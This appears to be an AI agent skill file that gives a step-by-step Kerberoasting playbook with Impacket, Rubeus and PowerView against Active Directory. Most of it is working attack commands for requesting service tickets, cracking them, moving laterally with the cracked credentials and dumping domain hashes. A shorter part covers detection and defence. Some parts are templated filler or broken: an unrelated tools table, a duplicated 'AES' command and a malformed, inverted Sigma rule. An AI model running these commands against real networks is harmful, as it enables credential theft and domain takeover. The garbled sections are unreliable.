Exploiting Kerberoasting With Impacket

---
name: exploiting-kerberoasting-with-impacket
description: Use when perform Kerberoasting attacks using Impacket's GetUserSPNs to
  extract and crack Kerberos TGS tickets for Active Directory service accounts. Use
  when performing kerberoasting attacks using impacket's getuserspns to extract and
  crack.
domain: cybersecurity
subdomain: red-teaming
tags:
- kerberoasting
- impacket
- active-directory
- credential-access
- kerberos
- t1558-003
- service-accounts
version: '1.0'
author: oyi77
license: Apache-2.0
d3fend_techniques:
- Application Protocol Command Analysis
- Network Isolation
- Network Traffic Analysis
- Client-server Payload Profiling
- Network Traffic Community Deviation
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
category: cybersecurity
---


# Exploiting Kerberoasting with Impacket

## Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.


## When to Use
**Trigger phrases:**
- "exploiting kerberoasting with impacket"
- "Perform Kerberoasting attacks using Impacket's GetUserSPNs to extract and crack "


- When performing authorized security testing that involves exploiting kerberoasting with impacket
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding

## Prerequisites

- Valid domain credentials (any domain user can request TGS tickets)
- Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
- Impacket installed (`pip install impacket`)
- Hashcat or John the Ripper for offline cracking
- Wordlist (e.g., rockyou.txt, SecLists)


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1110.002 | Brute Force: Password Cracking | Credential Access |

## Step 1: Enumerate Kerberoastable Accounts

```bash
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10
```

## Step 2: Request TGS Tickets

```bash
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt
```

## Step 3: Crack TGS Tickets Offline

```bash
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
```

## Step 4: Validate and Use Cracked Credentials

```bash
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
```

## Alternative Tools

| Tool | Purpose |
|------|---------|
| Wireshark | GUI-based network protocol analyzer |
| Zeek (Bro) | Network security monitoring framework |
| tcpdump | Command-line packet capture utility |
| Suricata | High-performance IDS/IPS engine |
### Rubeus (Windows)

```powershell
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
```

### PowerView (PowerShell)

```powershell
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
```

## Targeted Kerberoasting

High-value targets for Kerberoasting:

| Account Type | Why | Risk |
|---|---|---|
| Service accounts in Domain Admins | Direct path to domain compromise | Critical |
| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |
| Exchange service accounts | Access to all email | High |
| Accounts with AdminCount=1 | Previously/currently privileged | High |
| Accounts with old passwords | More likely to use weak passwords | Medium |

## Detection

This section covers detection for exploiting kerberoasting with impacket.

- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
### Windows Event Logs

```
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
```

### Sigma Rule

```yaml
title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
   
- - attack.credential_access
    - attack.t1558.003
```

## Defensive Recommendations

1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated
2. **Set strong passwords (25+ chars)** on all service accounts
3. **Enable AES-only encryption** - Disable RC4 via GPO
4. **Monitor Event ID 4769** for RC4 TGS requests
5. **Implement Managed Service Accounts** where gMSA is not feasible
6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts
7. **Protected Users group** - Add sensitive service accounts
8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks

## When NOT to Use

- You don't have explicit authorization to exploit
- Task is about detecting exploits, not performing them (use detecting-* skills)
- You need to analyze exploit artifacts (use analyzing-* skills)
- Task is about building exploit tools (use building-* skills)
- Target is production without authorization
- Task requires responsible disclosure (follow disclosure process)


## Red Flags

- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Capturing traffic on networks without authorization or privacy considerations
- Leaving packet captures containing sensitive data unencrypted on disk
- Deploying inline blocking rules without testing for false positives first

## Verification

- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- Captures verified as complete with no dropped packets
- Detection rules tested against known-benign traffic for false positive rate
- Alert thresholds validated and tuned to reduce noise

## References

- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/

## Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

## Anti-Rationalization Table

| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |